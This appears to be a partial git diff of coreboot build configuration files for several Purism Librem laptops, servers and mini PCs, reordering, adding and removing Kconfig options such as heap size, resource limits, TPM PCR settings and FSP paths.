CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -195,7 +196,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -229,7 +229,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -264,7 +263,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -311,7 +309,6 @@ CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -350,6 +347,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -512,6 +510,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -600,7 +600,6 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -635,7 +634,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -668,7 +666,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -730,7 +727,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index e1c8c843c..be69a553c 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -182,6 +182,7 @@ CONFIG_BOARD_PURISM_LIBREM15_V3=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -197,7 +198,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +231,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -261,7 +260,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -355,6 +353,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -515,6 +514,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -594,7 +595,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,7 +629,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -662,7 +661,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -724,7 +722,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 547eeea2f..3e25331d7 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -182,6 +182,7 @@ CONFIG_BOARD_PURISM_LIBREM15_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -197,7 +198,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +231,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -261,7 +260,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -355,6 +353,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -515,6 +514,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -594,7 +595,6 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,7 +629,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -662,7 +661,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -724,7 +722,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 72ff041f8..4d60e9f7f 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -177,6 +177,7 @@ CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_L1UM_V2=y +CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 # CONFIG_DRIVERS_IPMI_SUPERMICRO_OEM is not set CONFIG_TPM_MEASURED_BOOT=y @@ -193,7 +194,6 @@ CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set CONFIG_COREBOOT_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=32768 @@ -226,7 +226,6 @@ CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -260,7 +259,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -308,7 +306,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -347,6 +344,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -511,6 +509,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -577,6 +577,10 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y @@ -587,7 +591,6 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -625,7 +628,6 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -658,7 +660,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -724,7 +725,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index a46f936af..9893f5017 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -152,10 +152,9 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set +CONFIG_USE_LEGACY_8254_TIMER=y # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini" CONFIG_HAVE_IFD_BIN=y @@ -185,6 +184,7 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,7 +199,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +230,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -264,7 +262,6 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -312,7 +309,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -352,6 +348,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -516,6 +513,8 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -593,7 +592,6 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -618,7 +616,6 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -650,7 +647,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -713,7 +709,6 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 28a87a56a..e2943e249 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -152,10 +152,9 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set +CONFIG_USE_LEGACY_8254_TIMER=y # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini v2" CONFIG_HAVE_IFD_BIN=y @@ -185,6 +184,7 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,7 +199,6 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,7 +230,6 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -246,7 +244,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 CONFIG_SOC_INTEL_I2C_DEV_MAX=6 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Include/" CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 @@ -258,15 +256,13 @@ CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_INTEL_CANNONLAKE_BASE=y CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1_2=y -CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" +CONFIG_SOC_INTEL_COMETLAKE_1=y CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 